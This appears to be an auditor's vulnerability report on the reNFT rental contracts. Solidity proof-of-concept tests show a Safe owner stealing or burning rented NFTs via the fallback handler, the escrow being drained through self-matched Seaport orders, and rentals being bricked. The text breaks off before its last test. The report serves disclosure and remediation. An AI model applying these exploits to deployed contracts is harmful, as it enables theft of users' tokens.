reNFT - juancito's results

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol#L203-L292

Vulnerability details

Summary

The Guard contract is missing any protection for a safe owner to change the fallback handler. This can be used to execute arbitrary operations like token transfers.

Impact

Safe owners can execute arbitrary operations from the Safe, like for example transfering NFTs to them during rentals.

It also breaks one of the main invariants: ERC721 / ERC1155 tokens cannot leave a rental wallet.

Proof of Concept

Safe wallets inherit from FallbackManager, which has a function to set a fallback handler called setFallbackHandler().

After setting a handler, subsequent calls to the Safe will fallback to it (whenever they don't match an implemented signature).

The fallback address can be set to the escrowed NFT address for example. So when the user calls safeTransferFrom(safe, user, tokenId) on the Safe, it will make the Safe call the NFT address with that calldata. So the user can transfer the NFT during a rental.

About the underlying issue: The key of the attack is setting the handler to the targetted address to call a "forbidden" method. Calling some malicious crafted contract wouldn't have any impact, as it will be "called" and not "delegatecalled".

This is just one possible High severity attack. Any arbitrary dangerous operation (approve, setApprovalForAll, etc) can be called from the Safe as long as its signature doesn't clash with some function on the Safe.

Here's a POC to prove it. In the smart-contracts/test/integration/Rent.t.sol file:

• Copy import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol"; at the start of the file
• Copy the following test

function test_Success_Steal_NFT_From_Safe() public {
    test_Success_Rent_BaseOrder_ERC721();

    uint256 tokenId = 0;

    bytes memory setFallbackHandlerTx = abi.encodeWithSignature(
        "setFallbackHandler(address)",
        address(erc721s[0])
    );

    bytes memory signature = SafeUtils.signTransaction(
        address(bob.safe),
        bob.privateKey,
        address(bob.safe),
        setFallbackHandlerTx
    );

    bytes memory safeTransferFromTx = abi.encodeWithSignature(
        "safeTransferFrom(address,address,uint256)",
        address(bob.safe),
        bob.addr,
        tokenId
    );

    // Previous owner of the NFT is the Safe
    assertEq(erc721s[0].ownerOf(tokenId), address(bob.safe));

    SafeUtils.executeTransaction(address(bob.safe), address(bob.safe), setFallbackHandlerTx, signature);
    (bool s,) = address(bob.safe).call(safeTransferFromTx);
    require(s);

    // After the attack, Bob is the new owner
    assertEq(erc721s[0].ownerOf(tokenId), address(bob.addr));
}

Recommended Mitigation Steps

Prevent the use of the setFallbackHandler selector directly on the Safe after initialization, or only allow some trusted role to set it.

Assessed type

Access Control

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/libraries/RentalStructs.sol#L140 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L183-L193 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Create.sol#L591-L595 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L300 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L168

Vulnerability details

Impact

An adversary can exploit the missing rentalWallet in signatures, leading to:

• Bricking ERC1155 rentals
  • Stuck ERC1155 tokens
  • Stuck ERC20 tokens

Proof of Concept

The root issue is that Signer::_deriveRentalOrderHash() should include the rentalWallet for the order, but it doesn't.

That function is used by Create::_rentFromZone() to calculate the hash of the order, and add the rentals to the store.

That hash is calculated again when stopping a rent in Stop::stopRent().

As the rentalWallet is not included in the signatures, it is possible to create a rent with one wallet, and stop it with another wallet.

This is possible in the case that both wallets have rentals of ERC1155 with the same id. As the Stop policy will attemp to transfer the assets from the rentalWallet.

An adversary, or the safe owner can use this to stop rentals with different wallets and brick both rentals:

• The tokens will be taken from the replaced wallet.
  • It will be impossible to stop its corresponding order, as it will revert when trying to transfer the tokens
  • The corresponding ERC20 will be stuck, as the tx will revert as said before
• The original wallet will still have the tokens
  • It will be impossible to take them out, as the rent no longer exists (since it was stopped)

Here's a proof that the attack is possible, and doesn't revert because of some other check:

1. Fulfill an order between ALICE & BOB
2. Reset ERC1155 tokenId to 0, so that the same id is used for the next order
3. Fulfill an order between CAROL & DAN
4. Speed up time
5. Stop BOB's rent with DAN's rentalWallet

Add this test to smart-contracts/test/integration/StopRent.t.sol:

function test_StopRent_StuckTokens() public {
    // 1. << Fulfill an order between ALICE & BOB >>

    // create a BASE order
    createOrder({
        offerer: alice,
        orderType: OrderType.BASE,
        erc721Offers: 0,
        erc1155Offers: 1,
        erc20Offers: 0,
        erc721Considerations: 0,
        erc1155Considerations: 0,
        erc20Considerations: 1
    });

    // finalize the order creation
    (
        Order memory orderBob,
        bytes32 orderHashBob,
        OrderMetadata memory metadataBob
    ) = finalizeOrder();

    // create an order fulfillment
    createOrderFulfillment({
        _fulfiller: bob,
        order: orderBob,
        orderHash: orderHashBob,
        metadata: metadataBob
    });

    // finalize the base order fulfillment
    RentalOrder memory rentalOrderBob = finalizeBaseOrderFulfillment();

    // 2. << Reset ERC1155 tokenId to 0, so that the same id is used for the next order >>

    // The tests in the codebase increase the ERC1155 tokenId after each mint
    // Reset `_tokenIds` to 0, to mint ERC1155 tokens with the same id for the next order
    vm.store(address(erc1155s[0]), bytes32(uint256(3)), 0);
    usedOfferERC1155s[0] = 0;

    // 3. << Fulfill an order between CAROL & DAN >>

    createOrder({
        offerer: carol,
        orderType: OrderType.BASE,
        erc721Offers: 0,
        erc1155Offers: 1,
        erc20Offers: 0,
        erc721Considerations: 0,
        erc1155Considerations: 0,
        erc20Considerations: 1
    });

    // finalize the order creation
    (
        Order memory orderDan,
        bytes32 orderHashDan,
        OrderMetadata memory metadataDan
    ) = finalizeOrder();

    // create an order fulfillment
    createOrderFulfillment({
        _fulfiller: dan,
        order: orderDan,
        orderHash: orderHashDan,
        metadata: metadataDan
    });

    // finalize the base order fulfillment
    RentalOrder memory rentalOrderDan = finalizeBaseOrderFulfillment();

    // 4. << Speed up time >>

    // speed up in time past the rental expiration
    vm.warp(block.timestamp + 750);

    // 5. << Stop BOB's rent with DAN's `rentalWallet` >>

    // !! This is the key of the attack !!
    // The order can be stopped with any another `rentalWallet`
    // Any wallet can be used as long as they have at least the ERC1155 amount of token ids of the former order
    // We use DAN safe wallet to stop BOB's rent
    rentalOrderBob.rentalWallet = address(dan.safe);
    
    // stop the rental order with the modified `rentalWallet`
    stop.stopRent(rentalOrderBob);

    // The token appears as rented out in BOB's Safe, but not in DAN's
    assertEq(STORE.isRentedOut(address(bob.safe), address(erc1155s[0]), 0), true);
    assertEq(STORE.isRentedOut(address(dan.safe), address(erc1155s[0]), 0), false);

    // BOB's Safe still has his tokens
    // ALICE received back her tokens
    // The tokens were actually taken from DAN's Safe
    assertEq(erc1155s[0].balanceOf(address(bob.safe), 0), 100);
    assertEq(erc1155s[0].balanceOf(address(alice.addr), 0), 100);
    assertEq(erc1155s[0].balanceOf(address(dan.safe), 0), 0);

    // Basically BOB's rent was stopped with DAN's tokens
    // DAN's rent is still "active", but can't be stopped
    // BOB's Safe still has tokens but can't be "claimed" back
    // Trying to stop DAN's rent will revert and assets are locked

    vm.expectRevert();
    stop.stopRent(rentalOrderDan);

    vm.expectRevert();
    stop.stopRent(rentalOrderBob);
}

Recommended Mitigation Steps

Add the order rentalWallet when calculating the hash in _deriveRentalOrderHash()

Assessed type

Other

Lines of code

https://github.com/re-nft/smart-contracts/blob/main/src/policies/Create.sol#L540-L544 https://github.com/re-nft/smart-contracts/blob/main/src/policies/Create.sol#L695

Vulnerability details

Impact

The Escrow contract where ERC20 tokens are escrowed for payments can be completely drained.

Proof of Concept

It is possible to create rentals where no assets are transfered, but storage is still updated as normal. Then these fake rentals can be stopped to drain ERC20 tokens from the Escrow contract.

The Create contract checks the expected receivers of ERC20 tokens and NFTs via _executionInvariantChecks().

This is to make sure that ERC20 tokens go to the Escrow contract, while NFTs go to the corresponding Safe wallet.

The key point of the attack is to fulfill an order, so that the executions length is zero and no execution is checked.

This is possible by making the offerer fulfill all the considerations within the same address of the offers.

I'm assuming this is because of point 9 in the Match Orders section of SeaPort Docs. Nevertheless, since SeaPort was forked, the coded POC still shows how the attack is possible.

9. Perform transfers as part of each execution

• Ignore each execution where `to == from``

To put it in an example:

1. Carol signs a normal PAY rental order with an NFT + ERC20 tokens as an offer
2. Carol signs the malicious PAYEE counterpart order setting the recipient as her address (instead of the Safe for the NFT, and the ESCRW for the ERC20 tokens)
3. Carol matches those orders via the forked SeaPort
4. SeaPort calculates the totalExecutions, and since all offers and considerations are from the same address, there are no executions, as there will be no transfers
5. Both the PAY & PAYEE ordered are fulfilled and call Create::validateOrder()
6. No recipient checks are performed, since there are no executions
7. The STORE storage will add the new rental for Carol, while increasing the deposit amount in the Escrow
8. SeaPort ends the order matching and fulfillment without performing any transfer
9. The rent can be stopped and it will drain the Escrow contract of any token + amount specified in the fake rent

The following POC proves how this is still possible with the forked SeaPort version and the current contracts.

Note: For the sake of simplicity this POC:

• It deals some ERC20 tokens to the Escrow contract to be stolen (instead of simulating another legit rental). It doesn't affect the outcome, as the tokens are stolen, regardless of whom they "belong to".
• It uses a fixture carol.safe = SafeL2(payable(carol.addr)); just to make an ad-hoc replacement for the ERC721 consideration recipient in the PAYEE order creation, and make the POC shorter. It is reset right after createOrder() is called.
• It uses a fixture ESCRW = PaymentEscrow(carol.addr); just to make an ad-hoc replacement for the ERC20 consideration recipient in the PAYEE order creation, and make the POC shorter. It is reset right after createOrder() is called.

Create a new file with this test in smart-contracts/test/integration/Drain.t.sol:

// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.20;

import {
    Order,
    FulfillmentComponent,
    Fulfillment,
    ItemType as SeaportItemType
} from "@seaport-types/lib/ConsiderationStructs.sol";

import {Errors} from "@src/libraries/Errors.sol";
import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStructs.sol";

import {BaseTest} from "@test/BaseTest.sol";
import {ProtocolAccount} from "@test/utils/Types.sol";

import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol";
import {Safe} from "@safe-contracts/Safe.sol";

import {SafeL2} from "@safe-contracts/SafeL2.sol";
import {PaymentEscrow} from "@src/modules/PaymentEscrow.sol";

contract TestDrain is BaseTest {
    function test_Drain_Escrow() public {
        // create a legit PAY order
        createOrder({
            offerer: carol,
            orderType: OrderType.PAY,
            erc721Offers: 1,
            erc1155Offers: 0,
            erc20Offers: 1,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 0
        });

        // finalize the pay order creation
        (
            Order memory payOrder,
            bytes32 payOrderHash,
            OrderMetadata memory payOrderMetadata
        ) = finalizeOrder();

        // create an order fulfillment for the pay order
        createOrderFulfillment({
            _fulfiller: carol,
            order: payOrder,
            orderHash: payOrderHash,
            metadata: payOrderMetadata
        });

        // << Malicious order creation below >>

        // fixtures to replace the ERC721 and ERC20 recipients in `createOrder()`
        // https://github.com/re-nft/smart-contracts/blob/main/test/fixtures/engine/OrderCreator.sol#L213
        // https://github.com/re-nft/smart-contracts/blob/main/test/fixtures/engine/OrderCreator.sol#L250
        SafeL2 carolSafe = carol.safe;
        PaymentEscrow tempESCRW = ESCRW;
        carol.safe = SafeL2(payable(carol.addr));
        ESCRW = PaymentEscrow(carol.addr);

        // create a malicious PAYEE order.
        // It will set the ERC721 and ERC20 recipients as Carol herself
        createOrder({
            offerer: carol,
            orderType: OrderType.PAYEE,
            erc721Offers: 0,
            erc1155Offers: 0,
            erc20Offers: 0,
            erc721Considerations: 1,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // reset fixtures
        carol.safe = carolSafe;
        ESCRW = tempESCRW;

        // finalize the pay order creation
        (
            Order memory payeeOrder,
            bytes32 payeeOrderHash,
            OrderMetadata memory payeeOrderMetadata
        ) = finalizeOrder();

        // create an order fulfillment for the payee order
        createOrderFulfillment({
            _fulfiller: carol,
            order: payeeOrder,
            orderHash: payeeOrderHash,
            metadata: payeeOrderMetadata
        });

        // add an amendment to include the seaport fulfillment structs
        withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1});

        // Verify Carol's balances and the Escrow balance before the rental attack is performed
        assertEq(erc20s[0].balanceOf(carol.addr), uint256(10000));
        assertEq(erc721s[0].ownerOf(0), address(carol.addr));
        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(0));

        // finalize the order pay/payee order fulfillment
        (
            RentalOrder memory payRentalOrder,
            RentalOrder memory payeeRentalOrder
        ) = finalizePayOrderFulfillment();

        // << The first part of the attack was performed >>
        // A new rental was created without any token transfers

        // get the rental order hashes
        bytes32 payRentalOrderHash = create.getRentalOrderHash(payRentalOrder);
        bytes32 payeeRentalOrderHash = create.getRentalOrderHash(payeeRentalOrder);

        // assert that the rental order WAS STORED
        assertEq(STORE.orders(payRentalOrderHash), true);

        // assert that the token IS IN STORAGE
        assertEq(STORE.isRentedOut(address(carol.safe), address(erc721s[0]), 0), true);

        // assert that Carol DID NOT MAKE A PAYMENT (same balance as before)
        assertEq(erc20s[0].balanceOf(carol.addr), uint256(10000));

        // assert that NO PAYMENT WAS MADE to the Escrow contract
        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(0));

        // assert that a payment was synced ERRONEOUSLY in the escrow contract (as no payment was made)
        assertEq(ESCRW.balanceOf(address(erc20s[0])), uint256(100));

        // assert that the ERC721 IS STILL owned by Carol (it didn't go to the Safe wallet)
        assertEq(erc721s[0].ownerOf(0), address(carol.addr));


        // << The second part of the attack is performed >>

        // speed up in time past the rental expiration
        // it uses the default values, but an attacker would make the expiration as soon as possible
        vm.warp(block.timestamp + 750);

        // Transfer the NFT to the Safe, so that the rent stop succeeds while trying to transfer the NFT back
        vm.prank(carol.addr);
        erc721s[0].safeTransferFrom(carol.addr, address(carol.safe), 0);

        // Deal some tokens to the Escrow to be stolen
        // An attacker would first check the tokens balances of the Escrow contract and craft rents matching them
        deal(address(erc20s[0]), address(ESCRW), 100);
        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(100));

        // stop the rental order
        vm.prank(carol.addr);
        stop.stopRent(payRentalOrder);

        // Carol gets back her NFT, while stealing the ERC20 tokens from the Escrow
        assertEq(erc20s[0].balanceOf(carol.addr), uint256(10100));
        assertEq(erc721s[0].ownerOf(0), address(carol.addr));

        // The Escrow contract was drained
        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(0));
    }
}

Recommended Mitigation Steps

I would suggest to check that the corresponding offers / considerations are actually included in the totalExecutions and completely fulfilled with their corresponding recipients.

Adding some notes for the protocol to understand the attack surface:

There are other scenarios possible not exposed on the POC. For example, fulfilling just the NFT as expected to the safe, and only performing the attack on the ERC20, leaving a totalExecutions length of 1 (the NFT). This can be done with ERC1155 as well.

Another possibility would be to fulfill the orders with multiple other ones, which could generate extra phantom executions.

Also note, that it is possible to evoid fulfilling PAYEE orders via the zone (as noted on another issue I sent).

All that said regarding the current scope, it would also be recommended to give a second look to the forked SeaPort implementation implementing totalExecutions to check if there could be another related attack vector there.

Assessed type

Other

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Create.sol#L479-L482 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L209-L212

Vulnerability details

Impact

Rentals can be created with enabled hookOnStart hooks, but disabled hookOnStop hooks.

This inconsistency means that those rentals can't be stopped, as the tx will revert, resulting in locked funds.

Proof of Concept

When a rental is created in Create.sol, it only checks for hookOnStart, but not for hookOnStop:

// Check that the hook is reNFT-approved to execute on rental start.
if (!STORE.hookOnStart(target)) {
    revert Errors.Shared_DisabledHook(target);
}

When the rental is stopped in Stop.sol, it checks that all hooks have hookOnStop approved:

for (uint256 i = 0; i < hooks.length; ++i) {
    target = hooks[i].target;

    // Check that the hook is reNFT-approved to execute on rental stop.
    if (!STORE.hookOnStop(target)) {
        revert Errors.Shared_DisabledHook(target);
    }

This will make stopRent() and stopRentBatch() revert, and thus, preventing assets from being transfered, locking them.

It is also worth mentioning that disabling stop hooks after a rental is created will have the same effect.

Recommended Mitigation Steps

One thing that can be done is checking that the hookOnStop is active when creating a new rental, such as it is done with hookOnStart.

Another option could be to combine hookOnStart and hookOnStop permissions into one. So assuming the combined hook is disabled, it won't allow to create new rentals with it, but it will allow existing rentals to be stopped, and funds recovered.

Assessed type

Invalid Validation

Lines of code

https://github.com/re-nft/smart-contracts/blob/main/src/Kernel.sol#L285

Vulnerability details

Impact

All assets from rentals pre-upgrade will be locked. Users can't recover them as old rentals can't be stopped.

Proof of Concept

The protocol has a functionality to upgrade modules via Kernel::executeAction().

That upgrade functionality performs some checks, initializes the new modules, and reconfigures policies, but it doesn't migrate any data, nor transfer any assets.

Modules can hold assets, such as in the case of the PaymentEscrow, as well as keeping rentals states in storage.

The current implementation of the PaymentEscrow for example doesn't have any mechanism for migrations, or to stop rentals, or withdraw assets if the module was upgraded via executeAction().

This will result in all previous rentals assets being locked, as rentals can no longer be stopped.

The following POC proves that old rentals can't be stopped, as well as showing how the old contract is still holding the users funds.

Create a new test in smart-contracts/test/integration/Upgrade.t.sol with this code:

// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.20;

import {
    Order,
    FulfillmentComponent,
    Fulfillment,
    ItemType as SeaportItemType
} from "@seaport-types/lib/ConsiderationStructs.sol";

import {Errors} from "@src/libraries/Errors.sol";
import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStructs.sol";

import {BaseTest} from "@test/BaseTest.sol";
import {ProtocolAccount} from "@test/utils/Types.sol";

import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol";
import {Safe} from "@safe-contracts/Safe.sol";

import {SafeL2} from "@safe-contracts/SafeL2.sol";
import {PaymentEscrow} from "@src/modules/PaymentEscrow.sol";
import {Proxy} from "@src/proxy/Proxy.sol";

import {Kernel, Actions} from "@src/Kernel.sol";

contract UpgradeDrain is BaseTest {
    function test_StopRent_UpgradedModule() public {
        // create a BASE order
        createOrder({
            offerer: alice,
            orderType: OrderType.BASE,
            erc721Offers: 1,
            erc1155Offers: 0,
            erc20Offers: 0,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // finalize the order creation
        (
            Order memory order,
            bytes32 orderHash,
            OrderMetadata memory metadata
        ) = finalizeOrder();

        // create an order fulfillment
        createOrderFulfillment({
            _fulfiller: bob,
            order: order,
            orderHash: orderHash,
            metadata: metadata
        });

        // finalize the base order fulfillment
        RentalOrder memory preUpgradeRental = finalizeBaseOrderFulfillment();

        bytes memory paymentEscrowProxyInitCode = abi.encodePacked(
            type(Proxy).creationCode,
            abi.encode(
                address(paymentEscrowImplementation),
                abi.encodeWithSelector(
                    PaymentEscrow.MODULE_PROXY_INSTANTIATION.selector,
                    address(kernel)
                )
            )
        );

        // <<Upgrade the Escrow contract >>

        PaymentEscrow OLD_ESCRW = ESCRW;

        bytes12 protocolVersion = 0x000000000000000000000420;
        bytes32 salt = create2Deployer.generateSaltWithSender(deployer.addr, protocolVersion);

        vm.prank(deployer.addr);
        PaymentEscrow NEW_ESCRW = PaymentEscrow(create2Deployer.deploy(salt, paymentEscrowProxyInitCode));

        vm.prank(deployer.addr);
        kernel.executeAction(Actions.UpgradeModule, address(NEW_ESCRW));

        // speed up in time past the rental expiration
        vm.warp(block.timestamp + 750);

        bytes32 payRentalOrderHash = create.getRentalOrderHash(preUpgradeRental);

        // assert that the rent still exists
        assertEq(STORE.orders(payRentalOrderHash), true);
        assertEq(STORE.isRentedOut(address(bob.safe), address(erc721s[0]), 0), true);

        // assert that the ERC20 tokens are on the OLD contract
        assertEq(erc20s[0].balanceOf(address(OLD_ESCRW)), uint256(100));
        assertEq(erc20s[0].balanceOf(address(NEW_ESCRW)), uint256(0));

        // assert that the token balances are in the OLD contract and haven't been migrated
        assertEq(OLD_ESCRW.balanceOf(address(erc20s[0])), uint256(100));
        assertEq(NEW_ESCRW.balanceOf(address(erc20s[0])), uint256(0));

        // The rental can no longer be stopped
        vm.expectRevert();
        vm.prank(alice.addr);
        stop.stopRent(preUpgradeRental);
    }
}

Recommended Mitigation Steps

Provide a method for users to migrate old rentals to the upgraded contracts, such as a migrate() function, executable by them or the protocol.

Another way is to provide a way to stop all rentals before the upgrade, in order to start with a fresh new module, or allow users to stop rentals from old modules.

Assessed type

Upgradable

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol#L203-L292

Vulnerability details

Impact

NFTs can be burnt from the Safe.

This can be done by the Safe owners at any time during the rent, like at the end. The lender will lose the NFT forever.

Burning is a very common function on NFTs. Just by checking the Top 10 NFTs on Etherscan, we can see that 5 of them have such function: Ref#1 | Ref#2 | Ref#3 | Ref#4 | Ref#5. Blue chip NFTs also have it, like Pudgey Penguins.

Proof of Concept

The Guard contract is missing any protection to prevent NFTs from being burnt.

Safe owners can burn the NFTs at any point they want, as proved on the following POC.

Add this code to smart-contracts/test/integration/Rent.t.sol:

function test_Success_Burn_NFT_From_Safe() public {
    bytes memory burnTx = abi.encodeWithSignature("burn(uint256)", 0);

    test_Success_Rent_BaseOrder_ERC721();

    bytes memory signature = SafeUtils.signTransaction(
        address(bob.safe),
        bob.privateKey,
        address(erc721s[0]),
        burnTx
    );

    // The NFT is owned by the safe before the attack
    assertEq(erc721s[0].ownerOf(0), address(bob.safe));

    SafeUtils.executeTransaction(address(bob.safe), address(erc721s[0]), burnTx, signature);

    // The NFT was burnt. The tx reverts as it has no owner
    vm.expectRevert();
    erc721s[0].ownerOf(0);
}

Recommended Mitigation Steps

Add burn protection to the Guard contract. Consider at least the following selectors:

• burn(uint256) from ERC721Burnable
• burn(address,uint256,uint256) from ERC1155Burnable
• burnBatch(address,uint256[],uint256[]) from ERC1155Burnable

Assessed type

ERC721

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L374 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L147-L153

Vulnerability details

Summary

This report describes three instances that make the rental signatures not compliant with EIP-712:

1. The rentalOrderTypeHash is wrongly calculated
2. bytes should be encoded as the keccak256 hash of their contents
3. Mismatch in typehash and encoded values

Impact

Rental signatures are not EIP-712 compliant, leading to integrations issues as described on the EIP-712 Motivation, which showcases the goal of being compliant with this EIP. Contracts, dapps, backends correctly implementing the EIP will craft signatures that will make protocol function revert, because they are different than expected.

Medium severity assessed as in this recent contest, and this one.

Proof of Concept

1. The rentalOrderTypeHash is wrongly calculated

EIP-712 defines the structure typehash as:

typeHash = keccak256(encodeType(typeOf(s)))

Which in other words, means that struct strings in typehashes should be packed like:

"RentalOrder(Item[] items)Item(uint8 itemType)"

Here's an additional example on how Uniswap permit2 does it.

The rentalOrderTypeHash is wrongly calculated here:

    // Construct the Item type string.
    bytes memory itemTypeString = abi.encodePacked(
        "Item(uint8 itemType,uint8 settleTo,address token,uint256 amount,uint256 identifier)"
    );

    // Construct the Hook type string.
    bytes memory hookTypeString = abi.encodePacked(
        "Hook(address target,uint256 itemIndex,bytes extraData)"
    );

    // Construct the RentalOrder type string.
    bytes memory rentalOrderTypeString = abi.encodePacked(
        "RentalOrder(bytes32 seaportOrderHash,Item[] items,Hook[] hooks,uint8 orderType,address lender,address renter,address rentalWallet,uint256 startTimestamp,uint256 endTimestamp)"
    );

    // Derive the RentalOrder type hash using the corresponding type string.
    rentalOrderTypeHash = keccak256(
❌       abi.encode(rentalOrderTypeString, hookTypeString, itemTypeString)
    );

The error lies in that it uses abi.encode, instead of abi.encodePacked, which will turn into a different typehash than expected (as it adds the length of the strings to the encoded data before hashing).

2. bytes should be encoded as the keccak256 hash of their contents

This is described on Definition of encodeData

_deriveHookHash() is not hashing hook.extraData, as described in the EIP. It should, as it is of bytes type:

function _deriveHookHash(Hook memory hook) internal view returns (bytes32) {
    // Derive and return the hook as specified by EIP-712.
    return
        keccak256(
            abi.encode(_HOOK_TYPEHASH, hook.target, hook.itemIndex, hook.extraData)
        );
}

3. Mismatch in typehash and encoded values

EIP-712 defines how data should be encoded in the Definition of encodeData:

The encoding of a struct instance is enc(value₁) ‖ enc(value₂) ‖ … ‖ enc(valueₙ), i.e. the concatenation of the encoded member values in the order that they appear in the type

There are two typehashes that do not respect this:

The _ORDER_METADATA_TYPEHASH is defined as:

// Construct the OrderMetadata type string.
bytes memory orderMetadataTypeString = abi.encodePacked(
    "OrderMetadata(uint8 orderType,uint256 rentDuration,Hook[] hooks,bytes emittedExtraData)"
);

But it doesn't include orderType, nor emittedExtraData when encoding the data.

keccak256(
    abi.encode(
        _ORDER_METADATA_TYPEHASH,
        metadata.rentDuration,
        keccak256(abi.encodePacked(hookHashes))
    )

The _RENTAL_ORDER_TYPEHASH is defined as:

// Construct the RentalOrder type string.
bytes memory rentalOrderTypeString = abi.encodePacked(
    "RentalOrder(bytes32 seaportOrderHash,Item[] items,Hook[] hooks,uint8 orderType,address lender,address renter,address rentalWallet,uint256 startTimestamp,uint256 endTimestamp)"
);

But it doesn't include rentalWallet when encoding the data:

keccak256(
    abi.encode(
        _RENTAL_ORDER_TYPEHASH,
        order.seaportOrderHash,
        keccak256(abi.encodePacked(itemHashes)),
        keccak256(abi.encodePacked(hookHashes)),
        order.orderType,
        order.lender,
        order.renter,
        order.startTimestamp,
        order.endTimestamp
    )
);

Recommended Mitigation Steps

1. Use abi.encodePacked when calculating the rentalOrderTypeHash
2. Apply keccak256(hook.extraData) when calculating _deriveHookHash()
3. Add the missing data for the corresponding typehash in order, or evaluate if it should be removed from the typehash in case it shouldn't be part of the signed data.

Assessed type

Other

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Reclaimer.sol#L95 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Reclaimer.sol#L33 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Reclaimer.sol#L99 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Reclaimer.sol#L43

Vulnerability details

Impact

Lenders can prevent rents from being stopped.

This can be used for example to prevent renters to stop a finished PAY order rent, and claim their corresponding payment.

Lenders can withhold the renter payments for any time they want, which means renters' ERC20 payments are locked.

Proof of Concept

When a rent is stopped, it will reclaim the rented items by executing a delegatecall to the reclaimRentalOrder() function.

During that call, ERC721 and ERC1155 assets are transfered to the lender using safeTransferFrom().

safeTransferFrom() will perform callback to onERC721Received() on the receiver address as described on EIP-721.

The receiver address is the order lender, and can be implemented with a contract that reverts when they want on this callback.

Note: Lenders act as the offerer in Seaport, and can be contracts following the description from the Order section of Seaport Docs:

The offerer of the order supplies all offered items and must either fulfill the order personally (i.e. msg.sender == offerer) or approve the order via signature (either standard 65-byte EDCSA, 64-byte EIP-2098, or an EIP-1271 isValidSignature check) or by listing the order on-chain (i.e. calling validate).

In conclusion, this will make the stopRent() / stopRentBatch() functions revert, while also preventing ERC20 payments to be settled.

Recommended Mitigation Steps

One way to solve this is to implement a pull-over-push strategy for the NFTs, where the logic to withdraw them is separated from the stop functionality, and the ERC20 payment execution.

Assessed type

ERC721

QA Report

Low Severity Issues

L-01 - The protocol should use a pull-over-push strategy for ERC-20 tokens to prevent reverts on rent stop

Impact

Reverts on ERC-20 tokens transfer will lead to reverts on the whole stop rent function.

This can be due to one of recipients is blacklisted by the token, or the token is paused for example.

Not only this affects the ERC-20 token transfers, but it means that NFTs will also remain locked, as they are transfered on the same function call.

Proof of Concept

stopRent() and stopRentBatch() are used to stop rents.

Both NFTs reclaim and ERC-20 payment settlements are performed on the same transaction call, and there is no otherway of performing those actions.

This means that a revert on any of these functions will make the whole stop rent functionality revert, locking the assets.

Recommended Mitigation Steps

Implement a pull-over-push strategy for ERC-20 tokens. Instead of attempting to transfer them on a rent stop, store the balances that should be withdrawable by the different actors, and let them withdraw the balance on a separate transaction call.

L-02 - It is possible to fulfill PAY orders with a PAYEE counterpart that doesn't fulfill via the protocol Zone

Impact

Broken developers assumptions that PAYEE counterparts are always validated via Create::validateOrder() since there's a good amount of code for validating PAYEE orders.

All of this code and also this code is useless, as it can be completely by passed.

It may also be possible to fulfill BASE orders with other orders that are not validated via the Zone (but isn't checked on the POC).

Such omission could lead to some critical issues by exploiting a vulnerable path. Raising to the protocol for awareness.

Proof of Concept

The following tests shows how a PAY order can be fulfilled with another order that isn't checked via the Zone Create::validateOrder() function.

It doesn't even need to be of type PAYEE, as it never enters the validation. Just keeping it because it's easier to create the test without modifying much more extra code.

The counterpart order is created with FULL_OPEN instead of the restricted one that forces the order to be validated against the Zone.

First add this code to smart-contracts/test/fixtures/engine/OrderCreator.sol. It changes the orderType to FULL_OPEN just for the PAYEE order that an adversary can create:

    function createOrder(
        ProtocolAccount memory offerer,
        OrderType orderType,
        uint256 erc721Offers,
        uint256 erc1155Offers,
        uint256 erc20Offers,
        uint256 erc721Considerations,
        uint256 erc1155Considerations,
        uint256 erc20Considerations
    ) internal {
+        if (orderType == OrderType.PAYEE) {
+            OrderComponentsLib
+                .empty()
+                .withOrderType(SeaportOrderType.FULL_OPEN) // @audit changed to `FULL_OPEN`
+                .withZone(address(0))                      // @audit no zone
+                .withStartTime(block.timestamp)
+                .withEndTime(block.timestamp + 100)
+                .withSalt(123456789)
+                .withConduitKey(conduitKey)
+                .saveDefault(STANDARD_ORDER_COMPONENTS);
+        }

Add this test to smart-contracts/test/integration/Rent.t.sol:

